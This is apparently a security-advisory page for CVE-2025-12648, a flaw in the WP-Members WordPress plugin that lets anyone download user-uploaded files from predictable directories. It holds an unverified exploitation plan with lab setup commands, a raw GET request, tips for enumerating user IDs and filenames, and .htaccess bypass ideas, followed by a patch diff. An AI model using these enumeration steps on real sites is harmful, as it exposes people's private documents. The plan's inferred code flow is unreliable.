CVE-2025-12648

WP-Members Membership Plugin <= 3.5.4.4 - Unauthenticated Information Exposure via Unprotected Files

mediumFiles or Directories Accessible to External Parties
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.5.4.5
Patched in
1d
Time to patch

Description

The WP-Members Membership Plugin for WordPress is vulnerable to unauthorized file access in versions up to, and including, 3.5.4.4. This is due to storing user-uploaded files in predictable directories (wp-content/uploads/wpmembers/user_files/<user_id>/) without implementing proper access controls beyond basic directory listing protection (.htaccess with Options -Indexes). This makes it possible for unauthenticated attackers to directly access and download sensitive documents uploaded by site users via direct URL access, granted they can guess or enumerate user IDs and filenames.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.5.4.4
PublishedJanuary 6, 2026
Last updatedJanuary 7, 2026
Affected pluginwp-members

What Changed in the Fix

Changes introduced in v3.5.4.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-12648 ## 1. Vulnerability Summary The **WP-Members Membership Plugin (<= 3.5.4.4)** is vulnerable to **Unauthenticated Information Exposure**. The plugin allows administrators to define custom user profile fields, including "file" and "image" types. When user…

Show full research plan

Exploitation Research Plan - CVE-2025-12648

1. Vulnerability Summary

The WP-Members Membership Plugin (<= 3.5.4.4) is vulnerable to Unauthenticated Information Exposure. The plugin allows administrators to define custom user profile fields, including "file" and "image" types. When users upload documents (e.g., IDs, tax forms, or private attachments) through these fields, the plugin stores them in a predictable directory structure: wp-content/uploads/wpmembers/user_files/<user_id>/.

While the plugin attempts to prevent directory listing via a .htaccess file (Options -Indexes), it fails to implement any server-side authorization check for direct file access. Any unauthenticated attacker who can guess or enumerate a user_id and a filename can download sensitive user data via a direct URL.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Static file URL: http://<target>/wp-content/uploads/wpmembers/user_files/<user_id>/<filename>
  • HTTP Method: GET
  • Authentication Required: None (Unauthenticated)
  • Preconditions:
    1. The plugin must be configured with at least one field of type file or image.
    2. At least one user must have uploaded a file to that field.
    3. The attacker must know or enumerate the user_id (typically sequential integers) and the filename (often the original name of the uploaded file).

3. Code Flow

The specific upload handling logic resides in WP_Members_User_Profile::update (invoked via the profile_update hook), which is not provided in the snippets but is registered in includes/admin/class-wp-members-admin-api.php:

  1. Registration/Profile Update: A user submits a form containing a file.
  2. Hook Execution: The profile_update action triggers WP_Members_User_Profile::update.
  3. File Processing (Inferred): The plugin identifies fields of type file or image.
  4. Storage Logic (Inferred): Instead of using the standard WordPress Media Library (which uses randomized/date-based paths), the plugin moves the uploaded file to wp-content/uploads/wpmembers/user_files/<user_id>/<filename>.
  5. Lack of Access Control: The plugin does not serve these files through a PHP controller (which could check current_user_can()). It relies on standard web server behavior, which serves any file in wp-content/uploads/ unless explicitly blocked.

4. Nonce Acquisition Strategy

This vulnerability involves direct access to static files and does not interact with the WordPress AJAX or REST API endpoints. Therefore, no nonce is required to exploit the information exposure.

If setting up the test environment requires simulating an upload via the frontend, the agent should:

  1. Identify the registration page (often /register/ or a page with the [wpmem_form register] shortcode).
  2. WP-Members typically does not require a nonce for its own registration/profile forms, relying instead on its internal state management.

5. Exploitation Strategy

The goal is to demonstrate that a file uploaded by "User A" can be downloaded by an unauthenticated "Attacker".

  1. Preparation: Configure the plugin to accept file uploads and create a victim user with an uploaded file.
  2. Discovery: Determine the exact path where the file is stored.
  3. Exploitation: Perform an unauthenticated GET request to the file URL using the http_request tool.

Target URL Pattern

http://localhost:8080/wp-content/uploads/wpmembers/user_files/<user_id>/<filename>

Request Payload

GET /wp-content/uploads/wpmembers/user_files/2/private_identity.pdf HTTP/1.1
Host: localhost:8080

6. Test Data Setup

The following steps must be performed via wp-cli to prepare the environment:

  1. Enable File Fields: WP-Members stores fields in the wpmembers_fields option. We must add a "file" field.
    wp eval '
    $fields = get_option("wpmembers_fields");
    $fields["my_private_file"] = [
        "ID" => 99,
        "label" => "Private Document",
        "option_name" => "my_private_file",
        "type" => "file",
        "display" => "y",
        "required" => "n",
        "native" => "n",
        "order" => 10,
    ];
    update_option("wpmembers_fields", $fields);
    '
    
  2. Create Victim User:
    wp user create victim victim@example.com --user_pass=password123 --role=subscriber
    # Get the ID (likely 2)
    VICTIM_ID=$(wp user get victim --field=ID)
    
  3. Simulate Upload: Since the vulnerability is the location and access, we can manually place a file in the expected directory to simulate a successful upload by the victim.
    # Create the directory
    mkdir -p /var/www/html/wp-content/uploads/wpmembers/user_files/$VICTIM_ID/
    # Create a "sensitive" file
    echo "SENSITIVE DATA: USER PASSPORT INFO" > /var/www/html/wp-content/uploads/wpmembers/user_files/$VICTIM_ID/passport.txt
    # Set the user meta so the plugin "knows" the file exists
    wp user meta update $VICTIM_ID my_private_file "passport.txt"
    

7. Expected Results

  • An unauthenticated GET request to http://localhost:8080/wp-content/uploads/wpmembers/user_files/2/passport.txt returns HTTP 200 OK.
  • The response body contains the string: SENSITIVE DATA: USER PASSPORT INFO.
  • This confirms that the file is served directly by the web server without any WordPress authorization check.

8. Verification Steps

  1. Verify Path Existence: ls -l /var/www/html/wp-content/uploads/wpmembers/user_files/2/passport.txt
  2. Perform Unauthenticated Fetch:
    Use http_request (Playwright) to fetch the URL without any cookies or authorization headers.
  3. Confirm Disclosure: Verify the content of the fetched file matches the created "sensitive" file.

9. Alternative Approaches

If the plugin preserves the original file path differently (e.g., appending a timestamp), the agent should:

  1. Check the user meta for the victim: wp user meta get 2 my_private_file.
  2. If the meta value contains a full path or a randomized filename, use that specific value to construct the URL.
  3. Test if the wpmembers directory has a .htaccess that actually blocks all access (unlikely given the CVE description). If access is denied, try bypassing via common misconfigurations (e.g., accessing via /wp-content/uploads/wpmembers/user_files/2/passport.txt/ or using a different casing if the OS is Case-Insensitive).
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP-Members Membership Plugin for WordPress (<= 3.5.4.4) stores user-uploaded files in predictable directories based on the user's ID. Because the plugin lacks proper server-side authorization checks for direct file access, unauthenticated attackers can download sensitive documents by enumerating user IDs and filenames.

Vulnerable Code

// includes/api/api-utilities.php @ lines 352-369
function wpmem_get_user_upload_dir() {
    $upload_vars  = wp_upload_dir( null, false );
	$base_dir = $upload_vars['basedir'];
	$wpmem_base_dir = trailingslashit( trailingslashit( $base_dir ) . wpmem_get_upload_base() );
	$wpmem_user_files_dir = $wpmem_base_dir . 'user_files/';
    return array( 
        'upload_vars'          => $upload_vars,
        'base_dir'             => $base_dir,
        'wpmem_base_dir'       => $wpmem_base_dir,
        'wpmem_user_files_dir' => $wpmem_user_files_dir,
    );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-members/3.5.4.4/includes/admin/admin.php /home/deploy/wp-safety.org/data/plugin-versions/wp-members/3.5.4.5/includes/admin/admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-members/3.5.4.4/includes/admin/admin.php	2025-02-02 21:22:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-members/3.5.4.5/includes/admin/admin.php	2025-12-24 23:06:32.000000000 +0000
@@ -40,6 +40,8 @@
 
 	global $wpmem;
 
+	add_filter( 'wpmem_admin_tabs',   array( 'WP_Members_Admin_Tab_About', 'add_tab' ), 99 );
+
 	if ( $wpmem->captcha ) {
 		add_filter( 'wpmem_admin_tabs',   array( 'WP_Members_Admin_Tab_Captcha', 'add_tab' )      );
 		add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Tab_Captcha', 'do_tab' ), 1, 1 );
@@ -47,7 +49,18 @@
 	if ( $wpmem->dropins ) {
 		add_filter( 'wpmem_admin_tabs',   array( 'WP_Members_Admin_Tab_Dropins', 'add_tab' )       );
 		add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Tab_Dropins', 'do_tab'  ), 1, 1 );
-	} ?>
+	} 
+
+	// @todo Adds tab for updating filesystem if /wpmembers/user_files/ exists.
+	$uploads = wp_upload_dir();
+	$deprecated_folder = trailingslashit( $uploads['basedir'] ) . 'wpmembers/user_files';
+	if ( is_dir( $deprecated_folder ) ) {
+		include_once $wpmem->path . 'includes/admin/tabs/class-wp-members-admin-tab-filesystem-upgrade.php';
+		add_filter( 'wpmem_admin_tabs',   array( 'WP_Members_Admin_Filesystem_Upgrade', 'add_tab' ), 98 );
+		add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Filesystem_Upgrade', 'do_tab' ),  98 );
+	}
+	
+	?>

Exploit Outline

An attacker targets a WordPress site using WP-Members where users upload private files (like identity documents) via profile fields. The attacker constructs a direct URL to the predicted storage path: `/wp-content/uploads/wpmembers/user_files/[user_id]/[filename]`. By enumerating sequential user IDs and common filenames, the attacker can perform unauthenticated GET requests to download sensitive user data, as the plugin relies on directory listing protection (.htaccess) but does not restrict direct file access via PHP-server side authorization checks.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.